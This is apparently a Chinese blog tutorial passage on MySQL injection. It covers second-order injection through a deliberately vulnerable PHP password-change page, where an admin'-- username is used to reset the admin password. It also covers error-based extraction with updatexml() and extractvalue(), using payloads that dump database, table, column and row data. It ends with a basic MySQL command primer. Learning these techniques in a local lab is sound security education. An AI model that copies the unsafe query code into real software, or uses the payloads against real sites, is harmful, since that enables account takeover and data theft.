58
59
60
61
62
63
64
65
66
67
68
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);

$servername = "localhost";
$username = "root";
$password = "啊哈哈哈哈";


// 创建连接
$conn = new mysqli($servername, $username, $password);
//连接查询
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
mysqli_select_db( $conn, 'test');



if (isset($_POST['password'])) {
$user_id = 6;
//由id找用户名
$result = $conn->query("select username from user_table where id=$user_id");
if ($result->num_rows > 0) {
$username_set = mysqli_fetch_array($result)["username"];//根据id找到username
} else {
die("ID not in database.");
$conn->close();//关闭连接
}

echo "<b>Current user: $username_set<br />";

//修改用户信息
$sql = "update user_table set password='" . $_POST['password'] . "' where username='$username_set'";//修改密码

echo "<b>Your input: password is " . $_POST['password'] . "<br />";
echo "<b>SQL input: $sql</b><br />";

$result = $conn->query($sql);

if ($result->num_rows > 0) {
echo "<b>Result count: " . $result->num_rows . "</b><br />";
var_dump($result);
} else {
echo "0 result";
}
} else {
?>
<html>
<head>
<meta charset="utf-8">
<title>创建用户</title>
</head>
<body>

<form action="set_user.php" method="post">
密码更改: <input type="text" name="password">
<input type="submit" value="提交">
</form>

</body>
</html>

<?php
}

$conn->close();//关闭连接
?>

用户允许更改密码

360截图16571223376533

密码修改成功

360截图17970212729564

360截图18430710515387

尝试修改其它用户的密码

但是如果我一开始创建用户的时候把用户名设置成admin’– (注意,是admin’– ,–后面有个空格)呢?

360截图18141218353174

用户创建成功,密码是刚才输的1212121

360截图18720122464078

360截图1757111391115101

此时去修改此用户密码

(记得指定用户id为6,即php程序中$user_id = 6; ——–》这样是为了模拟用户已经登录的情况)

360截图173211307010583

修改密码为1223

360截图18141222514468

提交成功啦

360截图17340907444966

看看啥情况—-》admin的密码被改成1223啦!

360截图17571122668056

二次注入不仅仅局限于改密码,还能通过如留言板什么的爆出数据库数据


报错注入

报错注入常常用在union语句不能使用,但是页面存在错误回显的情况,

原理是利用错误信息带出需要的信息

xpath语法错误

相关函数

xpath语法与下面两个函数有关

用于xml文档进行查询和修改

1
2
extractvalue() #从xml文档中的字符串中提取值
updatexml() #改变xml文档中符合条件的节点的值

关于extractvalue和updatexml函数的详情可以参照此篇,源码级分析,非常详细

这里会讲解关于这两个函数简单的利用方法

利用

  • updatexml()
1
2
3
4
5
updatexml(XML_document, XPath_string, new_value); 

#XML_document的数据类型为string,为XML文档的内容
#XPath_string即符合Xpath语法的字符串
#new_value为改变之后的值

这个函数可以利用它的第二个参数

当输入的字符串不为Xpath格式,就能报错

如果对XPath语法有兴趣可以参照此处

用来测试的表为下面这个

360截图1872011610597111

查询数据库名的语句如下

1
select database();

360截图18720118271407

输入

1
select * from user_table where id=1 and updatexml('',concat('~',(select database())),'');

可以看到库名出来了

360截图17400112859981

测试程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);

$sqli = $_GET['sqli'];

$dsn = 'mysql:dbname=test;host=127.0.0.1';
$user = "root";
$password = "hahaha哈哈哈";

/*
使用 try/catch 围绕构造函数仍然有效,即使设置了 ERRMODE 为 WARNING,
因为如果连接失败,PDO::__construct 将总是抛出一个 PDOException 异常。
*/
try {
$dbh = new PDO($dsn, $user, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
exit;
}

$sql = "select * from user_table where id=$sqli";

echo "<b>Your input: $sqli</b><br />";
echo "<b>SQL input: $sql</b><br />";

$result = $dbh->query($sql);

if ($result == null) {
die();
}

echo "<b>Result count: " . $result->columnCount() . "</b><br />";
if ($result->columnCount() > 0) {
// 输出数据

while($row = $result->fetch()) {
//var_dump($row["id"]);
//var_dump($row["val"]);
//var_dump($row["val1"]);
var_dump($row);
}
} else {
echo "0 result";
}
?>

正常查询

1
?sqli=1 and updatexml('',concat('~',(select database()),'~'),'')

360截图16720403607965

报错注入

1
?sqli=1 and updatexml('',concat('~',(select database())),'')

360截图18260729627294

下面这句语句应该不需要解释了

1
select * from user_table where id=1;

下面这句在第1、3个参数给了一个空字符串,而参数2给了concat(‘~’, (select database())

select database()加了括号,返回的是运算结果

concat()函数在MYSQL中用于拼接字符串,这里负责把’~’和select database()的结果连接起来,

因为select database()加了括号,所以在这里结果为~test

PS:前面讲过concat_ws()函数,而concat_ws()需要设置分隔符,会在每个字符串之间分隔

1
updatexml('',concat('~',(select database())),'');

如下图

360截图17720220264031

这里使用~是为了达到不符合XPath语法的目的,

如果不加~或换成-,则不起作用

1、

360截图16770809056254

2、

360截图17400113326523

3、

360截图17720228647285

如果不想用~,需要换成%、)等符号才行

360截图18141219110128128

360截图18210320548488

需要注意,此种方法(使用concat函数)只能爆一列数据,多列则无法爆出来

1
select * from user_table where id=1 and updatexml('', concat("~",(select 1,2,3)),'');

360截图170712048512688

如果想一次爆出多个数据,可以构造

1
select * from user_table where id=1 and updatexml('', concat("~",(select 1), (select 2), (select 3)),'');

360截图18720118878582

用concat_ws可能更好一点,只要开头为~等字符就行

这里设置了“-”为分隔符

1
select * from user_table where id=1 and updatexml('', concat_ws("-", "~",(select 1), (select 2), (select 3)),'');

360截图16790525498379

注出数据

既然已经知道数据库名为test,那么可以配合之前用过的语句

1
select group_concat(table_name) from information_schema.tables where table_schema="test";

提交的参数如下

1
?sqli=1 and updatexml('',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="test")),'')

得到所有表的名称

360截图1742091494134111

再注,随便选个表,比如a_table,下面注它的字段名

还是之前用过的语句

1
select column_name from information_schema.columns where table_schema="test" and table_name="a_table";

提交(别忘了在column_name前加上group_concat)

1
?sqli=1 and updatexml('',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema="test" and table_name="a_table")),'')

360截图1775092211112195

注数据

1
?sqli=1 and updatexml('',concat('~',(select group_concat(val) from test.a_table)),'');

其它的字段和这个操作一样,就不多说了

360截图17001020154330

  • extractvalue()

和上面的updatexml函数类似,只不过extractvalue会返回所查询值的字符串

1
2
3
4
extractvalue(XML_document, XPath_string); 

#XML_document的数据类型为string,为XML文档的内容
#XPath_string即符合Xpath语法的字符串

依然对它第二个参数下手,构造不合法XPath字符

1
?sqli=1 and (select extractvalue('',concat('~',(select database()))))

360截图172904291028996

使group_by主键重复

group by

待更。。。。。。。。

写在最后

MYSQL简单操作(增、删、改、查)

连接本地数据库

以数据库账户root账户

1
mysql -u root -p

360截图18000915635479

列出所有数据库

1
show databases;

360截图181412168112886

创建数据库

创建名为test的数据库

1
create database test;

360截图17400116252059

进入指定数据库

选择test数据库

1
use test;

360截图1709091894110137

创建表并设置字段

test_table为表名,co为字段名(可以多个字段,如create table test_table(co VARCHAR(100) NOT NULL, do VARCHAR(100))定义co和do两个字段)

VARCHAR(100)为类型,100即100个字符

not null即不为空的意思

1
create table test_table (co VARCHAR(100) NOT NULL);

360截图182311209210477

MYSQL数据类型如下(来自菜鸟教程

360截图162402069996127

单独添加字段

在test_table表中添加zzz字段,类型为字符,空间为100个字符

DEFAULT NULL即默认为空

1
alter table test_table1 add zzz VARCHAR(100) DEFAULT NULL;

360截图1628071977120134

显示所进入的数据库中所有的表

1
show tables;

360截图171205225911187

在字段中插入值

在”test_table”表中的字段“co”中插入字符“id”

1
insert into test_table (co) values ("id");

360截图18720117102138118

显示指定字段的所有内容

显示”co“字段的内容

1
select co from test_table;

之前插入了下列值

360截图17690625106154133

显示

360截图18720120205850

显示指定表的所有内容

1
select * from test_table;

360截图184307026882118

显示表的内容(显示字段名)

显示test_table1表的内容,不显示值,仅显示字段信息

可用于查看字段名

1
desc test_table1;

360截图1877052695138114

根据查询结果修改指定的值

如果字段do中为’A‘的,就将co字段中对应位置的值修改为JAVA-website

1
update test_table1 set do='JAVA-website' where co='A';

原表如下

360截图16630430666476

设置后

360截图16730223699092

根据查询结果删除指定的值

从test_table1表中如果能找co字段中存在值为’A’的值,就把它删除(不用where就会删除表的所有数据)

1
delete from test_table1 where co='B';

360截图181412167897128

删除前

360截图1872012166103105

删除后

360截图17071208100102155

删除字段

删除test_table1表中的zzz字段

1
alter table test_table1 drop zzz

360截图17610616100125128

删除表

1
drop table 表名;

真的是最后

谢谢阅读

正在更新中